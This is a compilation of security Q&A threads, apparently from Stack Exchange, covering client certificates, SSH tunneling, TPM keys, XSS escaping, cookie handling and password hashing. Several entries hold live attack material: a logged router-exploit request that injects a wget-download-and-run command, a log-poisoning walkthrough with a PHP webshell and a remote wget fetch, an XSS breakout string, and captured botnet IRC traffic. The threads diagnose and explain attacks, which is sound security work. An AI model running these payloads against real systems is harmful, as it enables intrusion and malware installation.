Is there any 100% transparent way to set up client side TLS certs from a web browser? Edit #2:
It seems the answer to Q#1 is "No" (which suggests I would need to look for some other solution, which is something I can do on my own, please don't spend time making suggestions for that) and that makes Q#2 the thing I'm still seeking information about.
The functionality in question seems sufficiently useful, and is sufficiently obvious, that it's omission suggests to me that there may be something interesting going on that prevents it from being offered. If anyone knows that why, I'd like to find out about it. (Unless it's "politics", in which case I have no interest in knowing any more than that.)
Questions:

Is there a way to do "this thing I want to do"?
If not, why not?

Is there some subtle security issue with it?
Is it too easy to abuse?
Are there better alternatives for client tracking?
Are the benefits over existing options not enough to warrant the effort of adding it to the relevant standards?

"This thing I want to do":
TLS provides the ability for the client to authenticate itself via a certificate signed by a CA that the server claims to trust. This seems like it would be a rather robust way to implement client/session identification (as distinct from user identification) that could then be used as a basis for application logins and what not. This could have very similar semantics to cookies, but would be strictly better because the sensitive values are never available without access beyond what the browser normally gives.
Some initial research seems to suggest there isn't a way to do this without some degree of user interaction, furthermore, it seems a lot of the moving bits that would be involved have been changed so as to go out of their way to make it impossible.
What I'm thinking I'd like to see is a process where a unknown, un-trusted, never before seen client contacts a server and before the first page finishes loading (and without user interaction) constructs and installs a client side x.509 certificate with an opaque identity (e.g. some random number or fingerprint; the server may not know who you are, but it can know it's the same anonymous someone) that any further HTTPS request will include. From there any future authentication/access control steps can be pinned to that cert rendering it them non-transferable.
It looks like there used to be a <keygen /> tag in HTML5, but it was deprecated/unimplemented/removed and all the proposed alternatives seem to require user interaction. For example depending on the OS cert-instillation process, expecting the user to provide a password for the public key, installing a plug-in or extension, having a hardware token, etc.
Edit:
The goal isn't anonymity but rather something that can be setup with minimal prerequisites that gives an "identity" that can't be faked without a general compromise of the client. ("Already being on the other side of the airtight hatchway.") MITI proxies mandated by pointy-haired-IT, third party JS, overly permissive ACL's on the server side DB, full plain-text transcripts of all the network traffic ... even with any or all of those, an attacker shouldn't be able to impersonate the "identity".
Also, the question of "who is this identity really?" and "what should this identity be allowed to do?" are different questions that would/could be addressed later via traditional logins, some kind of SSO, MFA, bootstrapping to another cert with more fields, signed-cookies-binding-the-cert-to-a-grants-list, ... whatever.

What you're asking for is a hands-off, unauthenticated way to say "I'm the same client you saw yesterday".  There's already an answer for that:  cookies.
Adding self-issued client certificates adds a lot of complexity but solves no problems.  There's nothing to trust on a self-signed certificate.
Adding CA-signed client certificates removes anonymity, because that's exactly what certificates are intended to do -- a certificate ensures you are who a trusted third party says you are.
Cookies, on the other hand, are issued by you, the server.  You can hand out a big long random value as a user ID cookie (128 bits) and it will be impossible for anyone else to randomly guess that value.  If you send the value out to a client yesterday, and get that same cookie back today, you know it came from the same client.
If you're afraid of the cookie getting hacked, it's up to you to improve your web site to remove vulnerabilities to exposing your cookie.  Turn on HSTS.  After every successful returning client logs in, generate and deploy a new cookie to them.  Use session timeouts. Don't invite random 3rd party JavaScript to infest your web page.  You are in control of that cookie -- protect it.
Bottom line: if you want client anonymity, don't try to add a client certificate into the mix.  Certificates are antithetical to anonymity.


Information Security standards in corporations I'm developing a web based application. I want to create it so that it could be adopted by teams within corporations and large organisations that have tight IS standards.

The initial organisations targeted are not in specifically regulated industries, but will need to adhere to regional data protection and usage regulations.

What are the factors I need to plan for?

I think the question is too general to expect a specific answer. So I will answer it with a general answer. In general OWASP is a good source for web application security especially their Development Guide.


possible linux virus file I found a file of unknown origin on a server called /var/tmp/f01bdc03.  It was entered in root crontab to run every 10 minutes.  So I made a VM and ran the program with strace.  The only outside connection it made was to 137.74.146.42 which one IP site said was in Hanoi.  Anyway, the messages the mystery program sent to Hanoi are like:

NICK RT-WEBM-x86_64-e138231a-XRBRTQ\n
USER Linux localhost localhost :localhost.localdomain 3.10.0-514.el7.x86_64 #1 SMP Tue Nov 22 16:42:41 UTC 2016

NOTICE AUTH :*** Looking up your hostname...

:th0m.production.net 001 RT-WEBM-x86_64-e138231a-XRBRTQ
:this is th0m.production.net you are RT-WEBM-x86_64-e138231a-XRBRTQ!
Linux@<<reversed-lookup-name-for-my-outside-address>>\r\n
:th0m.production.net 005 RT-WEBM-x86_64-e138231a-XRBRTQ CHANTYPES=&# EXCEPT

MODE RT-WEBM-x86_64-e138231a-XRBRTQ -xi\n

JOIN #TM :bleh\n

:th0m.production.net NOTICE RT-WEBM-x86_64-e138231a-XRBRTQ :Setting/removing of usermode(s) 'x' has been disabled.\r\n

Does this look familiar to anyone?

That's indeed malware. The protocol is IRC, which it's using for its command-and-control.


Can the root of a system access to unencrypted data when using a double tunnel? I connect to a DMZ gateway system (B) which is not secured. From this machine (B) I can connect to the final destination (C).

A-->B-->C

I created a ssh tunnel from A to B and forwarding the port 22 of C:

ssh -L 2222:C:22 user@B

and then I can connect from A to C using

ssh -p 2222 user@localhost

This is safe but it's not very efficient in overhead added as I have a tunnel inside a tunnel.

An alternative is to run ssh as a ssh command:

ssh user@B ssh user@C

Like this there is less overhead, but is this the same safe?

If somebody has root access to B, can he access to any of the information?
I understand that the information is unencrypted at the kernel level?

And if I did't have the public key of C?

Any idea or suggestion where I could find information about this?
Many thanks!

Before trying to trade performance for security, I suggest actually measuring the performance. The overhead for SSH encryption is slight; it increases data size by less than 1%, and CPU usage is low unless you have a pretty weak CPU or a pretty fast network (a Core2 CPU can keep up with 10 MBytes/s SSH by using less than 15% of a single core). So chances are that the safe method, with the double tunnel, is not that expensive.

Moreover, in your second suggestion, you have less size overhead, and also less CPU overhead on your desktop system (A), but more CPU overhead on the gateway (B), since that gateway would have to decrypt the data from A and reencrypt it to send it to C. Since a gateway tends to be a shared resource, chances are that free CPU is scarcer on B than A. Therefore, if performance matters at all (I don't think so, and it should be measured anyway), then the safe method is also the best method for performance.

As @Iszi points out, your second method is also insecure, since it would allow the gateway to make a MitM attack. I would like to point out that it also makes scp usage harder. Therefore, you should use the tunnel-in-tunnel method: it is safer, more flexible, and might even be faster.


Constant POST request spam to /cgi-bin/ViewLog.asp endpoint I've got a DigitalOcean server that I use for different temporary servers. Lately I've found that sometimes I get a constant spam of the following requests:

POST http://127.0.0.1/cgi-bin/ViewLog.asp

Headers:
    Host: 127.0.0.1
    Connection: keep-alive
    Accept-Encoding": gzip, deflate
    Accept: */*
    User-Agent: B4ckdoor-owned-you
    Content-Length: 176
    Content-Type: application/x-www-form-urlencoded

Body:
{
    " remote_submit_Flag": "1", // Space is not a typo
    "remote_syslog_Flag": "1",
    "RemoteSyslogSupported": "1",
    "LogFlag": "0",
    "remote_host": ";cd /tmp;wget http://152.44.44.68/d/xd.arm7;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm"
}

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I've used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?

You are right about the fact that he host header can easily be faked, however I assume that you've got the POST http://127.0.0.1/cgi-bin/ViewLog.asp right from yours logs - and that indicates that the requests come from (or via) your localhost indeed.
Some attacker code might try to exploit:

https://www.exploit-db.com/exploits/43884

which is aimed at (rebranded) Zyxel and Billion routers. This attack is unlikely to cause any harm to you as you're obviously not running your node.js stuff on a router, however the sole fact that something uncontrolled seems to originate from (or be forwarded by) your localhost should be investigated.


"A third party is capable of monitoring your network activity" with [imported] certificates? I installed the CAcert root certificates on my Android device (which is not rooted), so that I could visit websites with server CAcert certificates without getting the "certificate not trusted" warning.

But now I get constantly reminded by Android, at each reboot, that a third party is capable of monitoring my network activity.

How is it possible? Does it mean that even the "standard" trusted certs that come with Android are capable of such a thing too? How is it even possible?

If you add a root certificate to your device, that cert could be used to sign SSL certificates for any domain.

That is, CAcert could — in theory — sign a cert for google.com, and your device would accept that as being valid (since you've added their root to your device).

That's not too different from any other root CA signing certificates they actually shouldn't sign, but the risk is certainly higher with a self-added "random" root CA like CAcert.


Is html escape enough for mitigating xss in html attribute if value enclosed within double quote As mentioned in
Owasp Output_Encoding_Rules_Summary why do we need to escape all character except for alphanumeric characters[escape all characters with the HTML Entity &#xHH; format, including spaces].

Is it possible to do xss attack if an html attribute enclosed within double quote(") and we are escaping only five character

Note: exclue javascript: protocols in src/href

  Convert & to &amp; Convert < to &lt; Convert > to &gt; Convert " to
  &quot; Convert ' to &#x27;

No, that is not possible (note though that the rule is about HTML common attributes and that other attributes like href, src, style, and event handlers are specifically excluded).

The reason that the rule exists is given in the same document you quote:

  Except for alphanumeric characters, escape all characters with ASCII values less than 256 with the &#xHH; format (or a named entity if available) to prevent switching out of the attribute. The reason this rule is so broad is that developers frequently leave attributes unquoted. Properly quoted attributes can only be escaped with the corresponding quote. Unquoted attributes can be broken out of with many characters, including [space] % * + , - / ; < = > ^ and |.

The exclusion of non-common attributes is actually relevant in practice. Consider this for example:

<img src="no" onerror="alert('[some user input]')">

An attacker can perform an XSS attack via ');alert('1 if the single quotes are just HTML-encoded. The input would be transformed to &#39;);alert(&#39;1, which would be parsed by the HTML parser of the browser, which then passes it on - in decoded form - to the JavaScript engine.


Authenticated sessions and Man in the middle I see a lot of websites (including Stackoverflow) using this authentication mechanism:

Client authenticates under HTTPS and gets back a session id.
Client drops back to HTTP and accesses secure pages using HTTP, passing the session id to prove that authentication took place.

What's the point of using HTTPS to protect authentication if the man-in-the-middle can simply steal the resulting session id and act as the authenticated client? I understand that session will eventually expire but that still gives the attacker a pretty long window of opportunity to mount an attack.

it simply can avoid leaking username/password. in your scenario MITM can avoid security. in other word fooling users.

however there may be some mitigation, such as session id is per IP/Country. so if someone from another ip(probably someone who MITMed the id) request page, session expire.


Avast malware-gen popups on mac when going onto google chrome website Just today, I went onto google chrome and began using normal websites such as Google drive. However, the moment I went to these sites, my Mac began showing Avast popups to the side that said :

They keep popping up, and only stop once I quit google chrome. Is there any solution to this? Is this a false positive that avast often reports?

It seems like you are not the only one. Other people have reported similar or identical problems.
It appears that an update issued today has fixed this problem.

Please try to update your install of Avast and see if it fixes the issue.

EDIT : DO NOT RUN A FULL SYSTEM SCAN! PEOPLE HAVE REPORTED IT HAS CORRUPTED THEIR SYSTEMS!


Simple Remote File Inclusion vulnerability not working? So I've hosted a php file vulnerable to RFI with code like this:

<?php

echo include($_GET['page']);

?>

However,when I try to exploit the code by vsiting http://192.168.8.133/test.php?page=http://download850.mediafireuserdownload.com/w7tl7lq5agug/iwmmm0do3h6txy1/test.php, no php codes get executed. Am i missing something here? Or does apache2 have a configuration that prevents fetching of resources from external domains? LFI works perfectly fine though. But shouldn't RFI work as well with a simple code like that?

The file that I am trying to include has the following code:

<?php
    echo 1;
?>

The allow_url_include is off for most of the hosts you will encounter. When you cannot use RFI (Remote File Inclusion) you could always try LFI (Local File Inclusion). The point is that you need to get some code stored on the server to execute.

If you have access to the logs you could try to inject PHP in the logs. A simple way is to connect via ncat to inject strings into the logs.

For HTTPS:

ncat -nvv --ssl hostname 443

Then it waits for input. As an example you could enter the following:

<?php echo shell_exec($_REQUEST['cmd'] ?>

In the logs you would see the bad request you send to the webserver.

==> /var/log/nginx/access.log <==
xx.xx.xx.xx - - [28/Apr/2017:09:21:31 +0200] "<?php echo shell_exec($_REQUEST['cmd'] ?>" 400 173 "-" "-"

If you now include this logfile where you tried to include the URL, you might be able to download your URL using wget with something like the next request:

http://192.168.8.133/test.php?page=/var/log/nginx/access.log&cmd=wget%20http://url-to-download/exploit.php

This will only work if the host has not disabled the shell_exec() command, but this is less common then allow_url_include=0


Basic XOR cipher for longer messages How much effective strength is the following adding to a basic 512 bit XOR cipher?
Private Key = Key0 consists of 512 randomly generated bits.  This key is never used to encrypt or decrypt anything.
Plain Text Message needs to be encrypted.

Generate unique random 16 byte salt for this particular message.

Salt Key0 and run through SHA512 hash to make Key1.

XOR first block with Key1.

Run Key1 (unsalted here and in all other blocks) through SHA512 to create Key2.

XOR second block with Key2.

Continue until entire message has been encrypted.

Store salt + cipher text.
Since every single block of every single message is encrypted with a different key, barring the same salt getting randomly generated more than once and hashing collisions, it should avoid the repeating pattern.  Also, submitting a string of binary 0's would only reveal the salted hash of the key, so it would be useless on other messages.  Would it be feasible to brute force the hash of the key to retrieve the actual key?

What you are essentially trying to do is build a pseudorandom number generator (with salt + Key0 as the seed) and use the output of it as a key stream to construct a stream cipher. Some comments:

Consider that if the first block is all 0, then all subsequent keys can be recovered. This follows from the fact that the first block is XOR-ed with Key1, and Key1 XOR 0 = Key1. If Key1 is known it can be passed to SHA512 to produce Key2 and so forth.
This is not a contrived scenario, even if the first block is not all 0, suppose it is some sort of header data where k bits are known. Those k bits can now be XORed against the first cipher text block to recover k bits of Key1. The search space is now reduced to 2^(512-k).
(Cryptographic) Hash functions in general only provide guarantees that they can't be inverted (given H(m) you can't find m) and are collision resistant (it is hard to find m' != m such that H(m) == H(m'). They say nothing about providing output that is indistinguishable from random, which is required of a cryptographically secure pseudorandom number generator.

Assuming a random oracle model (so point 3 can be disregarded and the output of a hash is treated as true random) and a uniformly random plaintext you would have security of 512 bits. I very much doubt however that this is the case, though it is hard to put an exact number on the security of the scheme. My recommendation is to use a well studied stream cipher seeded with random.


Captive portal (Wifi) remembers me even if I change my MAC address On occasion I change my MAC address from time to time at a public Wifi service. However lately something has changed. The captive portal (Wifi) remembers me even if I change my MAC address on my Macintosh. How is that possible? Is it leaving a cookie on my computer somehow? If so, how to remove it?

It may use your WebGL ID (which never changes, unless you reinstall MacOS), or some other variable. Try disabling images, javascript (noscript, scriptsafe). Have a look at
https://amiunique.org/faq . Disable flash and java as well via an appropriate add-on.

The obvious answer is that it's using a cookie, but I assume you've cleared those. Try clearing them pre-connect, and see what cookies are added post-login.

You will learn nothing useful (for solving your problem) by running tcpdump or wireshark. If you run it anyway, do a capture of 2-3 login sequences, and build filters later. I don't use wireshark, so can't help with those, but a tcpdump pcap filter may look like this (for capturing a HTTP captive portal session):
sudo tcpdump -ni en1 -s 4096 host 192.168.1.2 and port 80,
where en1 is your wireless interface and 192.168.1.2 is the IP of the captive portal.


If I "print to PDF" a website that has a malware will the pdf be infected? If I "print to PDF" a website page, but unknowing that has a malware or virus or some type will the pdf be infected?

It depends on how exactly the exploit on the website works. It is in fact not unconceivable that there might be an exploit which only works when the website is printed out,  because it targets a vulnerability in the browser's print system.

However, even that is very unlikely to result in an infective PDF. A "print to PDF" functionality is usually implemented as a virtual printer driver. That means the web browser generates a printout, forwards it to the operating system's print system which then calls the driver which then takes that print output and turns it into a PDF.

Most web-based exploits use javascript or browser plugins like Flash or Java. Such active content can not be represented in print and not in a PDF either (PDF has some JavaScript support, but that uses a completely different API than javascript in a web browser, so most exploits won't be transferable). So most features which offer attack surfaces simply can't survive the conversion to a printout.

But keep in mind that there are known vulnerabilities in some versions of Adobe PDF reader (and other PDF readers) which can be exploited by especially crafted PDF files. This applies in situations where the PDF is generated by the website itself and not through the browser's print system. When an untrustworthy website offers some "download this as PDF" functionality, be careful about opening it.


How to force "expensive calculation" when clients connect to my server? Page 183 of Secrets & Lies on countering denial-of-service attacks:

  Some researchers have proposed defenses that force the client to
  perform an expensive calculation to make a connection. The idea is
  that if the client has to spend computation time to make a connection,
  then it can't flood the target with as many connections.

Forcing the client to perform a calculation before connection seems like a pretty good way to fight DOS, but are there some examples of this method used in practice?

Specifically, how can I use this idea to protect my HTTP server from DOS attacks?

I think this idea basically describes the proof-of-work concept as it is used in anti-spam setups or more popularly Bitcoin.

Proof-of-work is used to make the requester/sender perform a small computation to show it's authenticity, following the idea that spammers (including non mail related spam) will avoid such systems because it would cost them too much CPU power to send their spam.

I don't know of any implementation in "regular" http traffic though but it seems they definitely exist:

DOS mitigation using proof-of-work

Their implementation: common DoS attacks are based on the TCP protocol (the basis for HTTP traffic). The attacks abuse the three way handshake by sending SYN requests to the server without answering the SYN-ACK signals the server sends back. As is the main idea of a DoS attack, the server can only have so many outstanding requests and stops sending them to legitimate senders of SYN signals at some point therefore appearing offline.
By adding an extra layer in the three way hand shake via POW the TCP DoS is avoided because the additional computations required disrupt the intended DoS flow of requests. As only legitimate requests reach the server HTTP traffic can flow freely and because the extra computations required by the POW take only 0,2-0,3 seconds no real delay is experienced by the user.

proof of work approach using IP header

Also, this question might hold some relevant info


Is setting logon cookies in JavaScript insecure? I'm facing a limitation in a backend system that can only set a single cookie via the Set-Cookie header which the front end uses to make an AJAX call to log the user in. The authentication system requires multiple cookies to be set not just the one.

If it is assumed this limitation can not be worked around: Is it secure to send the authentication cookies down as part of the JSON response to the login request i.e. as a text string? The front end JavaScript would then take this data and set the required cookies into the users browser. Both the AJAX call and page that the call is made on will be HTTPS.

This is less secure than the normal way to set cookies because you can't set the HttpOnly flag on your cookies. This means that the cookies can be read by Javascript, and this is particularly a problem if the website has an XSS vulnerability. In that case, the attacker can directly read your cookies and take over your session.


SSL/TLS Protocol Description It may seem crazy to you, but I wasn't able to find any detailed description of these security protocols on the web (except wikipedia).

Can you point me out some documentation of the protocols implementations?

A quick Google search returned:

Links to Related RFCs
SSL/TLS Strong Encryption: An Introduction
Introduction to SSL


How to generate a unique and uncopyable VPN certificate/key for a specific client hardware device? The problem is : Nothing prevents the user to copy the certficate/key on a different hardware device and use it from a different hardware device...

Is it possible to generate a really unique certificate taking hardware in consideration ?

You can generate a virtual smart card on a Trusted Platform Module (TPM). A TPM is like a Hardware Security Module (HSM), except that a TPM is physically attached to a computer's motherboard and thus isn't portable.

Lots of motherboards have TPMs on them, it's just that a lot of people don't know it and therefore don't often use their TPM.  The main advantage of a TPM is probably its lower cost, relative to HSMs.  A TPM is even more affordable than smart cards, which have to be provisioned to every user and replaced whenever lost.  Another advantage of a TPM, relative to smart cards, is that its non-portability makes it unlikely to be misplaced.

About VSC's:  A Virtual Smart Card (VSC) lives on the TPM and stores the private key of a certificate.  The VSC is capable of being protected by a PIN, and the PIN can be set to a minimum level of complexity depending on how you created the VSC.

Here are some instructions to get you started (note: Windows is required):

Check to see if your TPM is active:

Click on the Windows icon, then type the following command, right-click on the icon and execute it as an administrator:

tpm.msc

Look at the value for Status.  The TPM is active if it says "The TPM is ready for use."
If the TPM is not active, you should look for it in your BIOS and enable it if it exists.
If the TPM does not exist on your system then stop here, as subsequent steps do not apply.

How to Create a Virtual Smart Card on the TPM:

Screencast video here: https://youtu.be/MSw59AKvwSo
You will need the following pieces of information before creating your Virtual Smart Card:

Name:  The name of the Virtual Smart Card, to distinguish it from any others on the same TPM (there can be up to 10).
PIN:  A password.  The password must conform to these complexity rules:

At least 10 characters
Mix of uppercase and lowercase
Must include special characters

AdminKey:  This is like a password, except that the AdminKey must be in hex format, and the number of characters in the hex format must be 48.  This equates to 24 plain text characters.  A text-to-hex conversion utility may be useful .

Example of a hex key converted from plain text into Hex:

Plain text (24 characters):
abcdefghijklmnopqrstuvwx
Hex (48 characters with spaces omitted):
6162636465666768696a6b6c6d6e6f707172737475767778

Choose your own 24-character admin key (DON'T use the example above), convert that 24-characters from plain text into a 48-character hex value, then keep your 48-character hex value ready for the following steps.

PUK:  A PIN unlock key, i.e. another password.  The PUK is needed whenever it is necessary to release a lock caused by inputting an incorrect password too many times.

Open a command line terminal in administrator mode.
Edit the following command, replacing "MyVSCName" with the name you chose above for the virtual smart card.  Then copy and paste the edited command into the terminal:

tpmvscmgr.exe create /name "MyVSCName" /pin PROMPT /pinpolicy minlen 10 uppercase REQUIRED lowercase REQUIRED digits REQUIRED specialchars REQUIRED /AdminKey PROMPT /puk PROMPT /attestation AIK_AND_CERT /generate
You will see a series of questions asking for your PIN, your admin key, and your PUK.  Paste in the corresponding values that you have prepared above.
Your Virtual Smart Card should now exist on the TPM.  You can verify its existence by listing all Virtual Smart Cards in the TPM, using the following command:

wmic path win32_PnPEntity where "DeviceID like '%smartcardreader%'" get DeviceID,Name,Status

How to Destroy a Virtual Smart Card on the TPM:

Open a command line terminal in administrator mode.
List the Virtual Smart Cards in the TPM:

wmic path win32_PnPEntity where "DeviceID like '%smartcardreader%'" get DeviceID,Name,Status
Take note of the value under "DeviceID" for the Virtual Smart Card to be deleted.
Edit and then execute the following command, replacing "MyDeviceID" with the actual DeviceID of the virtual smart card that you want to delete:

tpmvscmgr destroy /instance "MyDeviceID"

Generate a certificate signing request that is signed by the private key within your TPM:

Open a text editor such as Notepad or Sublime Text.
Copy the following code and paste it into your text editor:

[NewRequest]
Subject = "CN=[user's e-mail address or server's domain name],O=[Organisation],L=[Locality],ST=[State],C=[Country]"
Keylength = 2048
Exportable = FALSE
UserProtected = TRUE
MachineKeySet = FALSE
ProviderName = "Microsoft Base Smart Card Crypto Provider"
ProviderType = 1
RequestType = PKCS10
KeyUsage = 0x80

For the Subject line, replace the values in brackets with your own values, to match your circumstances.  (You should omit the bracket characters themselves.)
Save the text file with a ".inf" file extension.  For example:

TPM-cert-template.inf

Open a command line terminal in administrator mode.
From the command line terminal, change the directory (cd) to where you saved the ".inf" file above.
Now generate a Certificate Signing Request (CSR).  Copy and paste the following code into the command line terminal:

certreq -new -f TPM-cert-template.inf TPM-cert.csr

You should see a pop-up dialog from Windows which asks you to select the Virtual Smart Card that will generate your certificate signing request.  Note that a TPM can store multiple Virtual Smart Cards, but in this pop-up dialog you may only see just one of them (if more than one exist).  Make sure that you expand the list before selecting a virtual smart card, and thereafter you'll see clearly to select the specific Virtual Smart Card that should generate the signing request.
After selecting the virtual smart card, you'll need to input the PIN.
If you input the correct PIN, then a new file should be generated in the same directory:

TPM-cert.csr

Prepare your server to authenticate your key pairs:

You should now have a CSR that you will need to have signed by a certificate authority.  Once the certificate authority has signed your CSR, it should send you back a certificate in either PEM or DER format.
If you don't have a certificate authority, you can create your own, but creating your own will mean that every client that uses your signed certificate will need to recognize the certificate authority that you created.  To do this, you'll need the certificate authority to send you not only the signed certificate that you were initially seeking, but also the certificate authority's own root certificate.

If you are using your own private certificate authority, then you'll need to get every server that you authenticate against to recognize your private certificate authority.  This will involve installing the root certificate of your private certificate authority on every server that you authenticate against.

Once you have the signed certificate from your certificate authority, you'll need to install the signed certificate on every server or VPN that you need to authenticate against.

Prepare your server to authenticate your user:

To get your client software to authenticate with the server or VPN where you installed your certificate, you'll now need software which can leverage the APIs that connect to your TPM.  For this there is a utility for Windows called PuTTYWinCrypt, which is a fork of the popular PuTTY program.  It enables you to connect to a server over SSH or SCP.  The source code for PuTTYWinCrypt is available on GitHub at the time of this writing.  The author of this software has also written a fork of related software often combined with PuTTYWinCrypt known as PageantWinCrypt, which runs in the background keeping the keys in memory.
Now that your server recognizes your certificate authority, you should prepare it to recognize the public key of the specific user who will be connecting.  The public key needs to be in OpenSSH format, meaning that the entire text of the key is written out on a single line.  You probably won't be able to convert your public key from PEM into OpenSSH format, because such a conversion requires that you have access to the private key.  In your case, the private key is confined to your TPM and is therefore not directly accessible.  The following steps will help you obtain your public key in OpenSSH without direct access to its corresponding private key.
Download and execute PageantWinCrypt.  This software is a patched version of the popular program Pageant, which stores keys in memory and runs in the background as an icon in the Windows system tray.  Once you double-click on the executable file, not much will be obvious except that there is now an icon for PageantWinCrypt in your system tray, indicating that PageantWinCrypt is running.  Note that the icon for PageantWinCrypt is labeled as "Pageant," not "PageantWinCrypt," so you'll need to be sure that you're specifically running PageantWinCrypt in order for this to work.
Click on the Windows icon in the lower-left corner of the screen, type the following, right click on its icon (which should appear as you type), and select "Run as administrator":

certmgr.msc

A window should pop up, showing a list of certificates with expandable folder icons.  You need to find and expand the specific folder where you installed your signed certificate.  Within that expanded folder, left-click on the subfolder called "Certificates."  Left-click on your specific certificate, to select it.  Then go to the "Action" menu item, and select "Copy" from the dropdown.  Your certificate is now in memory.  You need to import it from memory, into PageantWinCrypt.
Right-click on the icon for PageantWinCrypt in your system tray, and select "Add Certificate."  You may get a pop-up dialog saying "Select a Certificate."  Click OK.  Your key should now be in PageantWinCrypt.  You can confirm this by right-clicking again on the Pageant icon and selecting "View Keys."  There should be a line entry which corresponds to your key.  It may not be obvious but you can copy that line entry into memory simply by double-clicking on it.  Paste the copied line into a text editor, such as Notepad.
Observe the pasted text.  It should all be on a single line.  But there are two parts to this long line, and you'll need to separate the parts into two lines.  The second part begins with the following, and continues all the way until the end of the line:

cert://

In your text editor, click the mouse to just before cert:// and press Enter a few times on your keyboard.  There should now be two lines of text, with the second line beginning with cert:\\.  Note the following:

The first line is your public key in OpenSSH format.  If your server is on Linux, you'll need to add your OpenSSH-formatted public to your server's authorized_keys file.

To find the location of your authorized_keys file, connect to your Linux server via SSH and input the following command. A search will occur, and then output the path to the authorized_keys file:

sudo find / -name "authorized_keys" 2>/dev/null

Take note of the path to authorized_keys from the step above.  Now you need to edit authorized_keys and paste in your OpenSSH-formatted public key.  Execute the following command, replacing the text "[path-to-authorized-keys]" with the path in your case (omit the brackets from the example below):

sudo nano "[path-to-authorized-keys]"

The Linux-based text editor nano will now open, displaying the contents of authorized_keys.  Scroll to the bottom and add a new line, by pasting the OpenSSH-formatted public key that you already copied.  After pasting, simply save the file and exit.

Your Linux server is now configured to authenticate your TPM-enabled SSH connection.  Now, in Windows, you need to set up your TPM-compatible software, in order to facilitate the SSH connection on your side.
In the text editor, the second line of text that you pasted earlier is the authentication string.  It corresponds to the private key on your TPM.  This line, beginning with cert:\\, is what you need to paste into PuTTYWinCrypt as described below.

Use TPM-accessible software to log in:

Open PuTTYWinCrypt.  Under the Category Connection : SSH : Auth, in the space that is labeled "Private key file for authentication," paste the text beginning with cert:\\.  Normally, without using a TPM, in this space you would paste in the path to your private key that lives on your hard drive.  But in the process that you're following here, the private key is safely stored in your TPM, which by comparison is much more secure.  Once you paste this text (beginning with cert:\\) in that space, you'll be able to authenticate with the same server that you installed the public key.  To persist your changes, remember to save your connection; in PuTTYWinCrypt, under the Category Session, click on the Save button.
In PuTTYWinCrypt, try connecting now via SSH.  If you configured everything properly, you should get a pop-up from the Virtual Smart Card on your TPM, asking for your PIN.  Input the PIN.  If the PIN is accurate, the SSH connection should continue and connect as expected.
You're done!  You just connected to your server over SSH with a private key that is safely stored on your TPM.

The above information was inspired by, and partially obtained from, an informative blog post by Chris van Marle.

One final note:  researchers at IBM are currently developing what they call Virtual TPMs, which will make it possible to migrate TPM functionality from one cloud host to another.


Generating one-time tokens from API-key? I have a web-site for which I'm building a Drupal module that allows the users of that Drupal site to navigate to my web-site directly from the Drupal site.

I intend to distribute secret API-keys to each of the Drupal site administrators and they need  to enter that value in their copy of the Drupal module.

When this Drupal site presents my module to its users, clicking on certain links should take the user to my site along with a set of secret data that my site can use to authenticate this navigation. There will be a FORM presented to the user and a link present so that clicking on the link 'submits' the form via POST and redirects the user as well.

I need to use  this secret 'api-key' to generate some sort of time limited / one-time code that will be given  to the user's browser. Any smart user copying this generated code shouldnt be able to reuse it to enter my site later on.

Should I be using this API-key as a password to encrypt some data that matches the rest of the POST request? When receiving it, I decrypt it using my copy of their API-key and it if matches the rest of the data, I consider it validated?
Or should I do some sort of one-way hashing - md5?
Should I one-way hash the current time and allow access only for 5-10 minutes?

(moved from https://stackoverflow.com/questions/5549411/generating-one-time-tokens-from-api-key)

First and foremost never use MD5 for anything related to security.  It's a very broken algorithm.  You should use anything from the SHA2 family,  SHA256 is a great choice. One way of accomplishing this type of authentication is with an HMAC The API key could serve as the secret key K in the algorithm. The server with the secret API key would have to accept the post and provide the authentication token. The resulting message would have to have an ID and the message authentication code for that POST request. The ID could be the primary key for the API user, and the authentication code would be generated by the server that is using this API.

In this case Public Key Cryptography is overkill and a symmetric cipher ("encryption") isn't helpful at all.


Publicly Available API + Sensitive ID/Key Transmission Over HTTP I've run into a predicament... I'm developing a mobile application that utilizes a server for various things. One portion is that it stores an id/key pair related to accessing and processing transaction information for specific accounts. This id/key for specific accounts is dynamically decided based on what's going on with the client and what account needs accessing within code on client side. However since all information for the app is accessed through an api over HTTP(S), the id/key could potentially be publicly available to individuals with ill intentions..

I'm extremely paranoid of security breaches of this information, but need to find a way to get it down to the client securely without the possibility of interception.

I've thought of a few ways, but I haven't come up with anything that seems full-proof, and I'm not sure that there is anything guaranteed since even an encrypted value of this id/key pair can be acquired with API credentials.

My main idea was some sort of client / server dynamic authentication that's uniquely generated and identifiable between both entities, along with a salted 2 way encryption of this id/key that is passed back to the client? Although this could be breached if someone managed to dig into the compiled code and see how this authentication / dynamic salt is generated.

Obviously, it's 100% better to not have to transmit this information down to the client, but unfortunately in this specific situation there's no way around it.

Given the sensitivity of this information, the solution here needs to be solid.

It should be possible for you to get the key down to the client without risk that an attacker with access to the network connection can intercept it.  That could be down with something like SSL using specific server and client certificates to authenticate each end of the connection.

However an attacker with access to the client code (e.g. most mobile platforms) will always be able (in theory) to get access to any secret you hold on the client be that the client certificate in use or the key itself, and really you should plan your security model with that thought in mind.

Once something is placed on a system that you have no control over you have to assume that an attacker who has control over that system has access to it.


Why Yahoo is still using MD5 to hash users passwords? I have received a warning email from Yahoo regarding data breach that they might had.

  ...The stolen user account information may have included names, email
  addresses, telephone numbers, dates of birth, hashed passwords (using
  MD5) and, in some cases,...

MD5 is famous for his weakness in front of dictionary attack that it is strongly not recommended, so I'm wondering what prevents Yahoo from changing the hashing algorithm ?

There are two theories that make sense:

Instead of upgrading their legacy hashes all at once (which is what you should do when migrating hashes), the Paranoids team dropped the ball and decided to do it opportunistically. This left some MD5 hashes in their database while they upgraded to bcrypt. (It's been reported that they had already switched to bcrypt.) This is the most obvious explanation, and somewhat plausible.
Rumor has it they were storing an MD5 hash so they could detect password reuse by fraud accounts.

If #2 holds any truth, a much better solution would have been a second bcrypt hash with a static salt. This would still be slow for attackers, but allow them to perform their password-reuse detection and catch fraudsters.

In the end, however, it could be neither answer. Only Yahoo knows, and unless they tell us, we can only speculate.


Should I refresh access token There is a case when a specific authorized user changes his password or email. As email or password is part of user authentication, I think that it is necessary to revoke all auth tokens

